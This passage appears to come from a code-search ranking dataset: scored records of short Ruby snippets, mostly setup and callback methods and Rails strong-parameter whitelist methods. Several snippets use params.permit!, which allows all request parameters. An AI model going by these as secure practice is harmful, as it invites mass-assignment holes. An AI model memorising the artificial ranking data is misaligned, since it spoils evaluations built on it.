send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54705054", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.54656947", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5449697", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.5444484", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5443436", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5418371", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54093206", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54093206", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5403447", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53975695", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53975695", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.539083", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53904355", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53776276", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53562194", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5350533", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.534902", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.534699", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53462875", "text": "def register_action(action); end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.53407806", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53303957", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5306387", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5286867", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5280132", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5259861", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5259054", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5249912", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52431136", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52424717", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235239", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235239", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52312696", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52273864", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522314", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52216744", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.5219558", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52127576", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5212529", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.5210596", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52059865", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5205524", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5204952", "text": "def create_setup\n \n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5204815", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5198996", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51947343", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51947343", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5193696", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51811314", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5180495", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51747334", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51655006", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51567245", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143453", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5141531", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51412797", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51380795", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5136178", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51166797", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5115066", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5113276", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5106418", "text": "def action\n end", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.51045656", "text": "def block_actions options ; end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5104123", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.50958395", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.50957185", "text": "def add_callbacks(base); end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50936866", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "bc12e4524b8fb9007141c071f9480439", "score": "0.0", "text": "def reports_daily_contribution_params\n params[:reports_daily_contribution]\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7496729", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6958585", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.69237685", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6895071", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67869943", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.67445725", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.668381", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.6638182", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66302425", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.6627488", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.65639997", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.64919555", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6478558", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6454667", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.64012396", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.63839936", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6365647", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.6339444", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.6337142", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6326974", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63207066", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63158226", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.63153416", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6307222", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6302766", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.6301276", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.62975216", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.629241", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.629241", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.62796533", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6274467", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6267973", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.6257074", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62556005", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6253268", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6235937", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.6229283", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.6228986", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.62284905", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.622684", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6200802", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.61919236", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6184593", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.61810327", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6164044", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.61617863", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6156518", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6155467", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.61354053", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61343485", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61204326", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61169004", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61169004", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61157626", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.6111809", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104543", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104543", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6098137", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6098137", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.6086392", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.6085739", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.6085733", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.60790676", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.607553", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.6069313", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60672545", "text": "def need_params\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6067154", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.6067105", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.6064792", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60634184", "text": "def filtered_parameters; end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.60632914", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.6058432", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.6048923", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6048879", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n 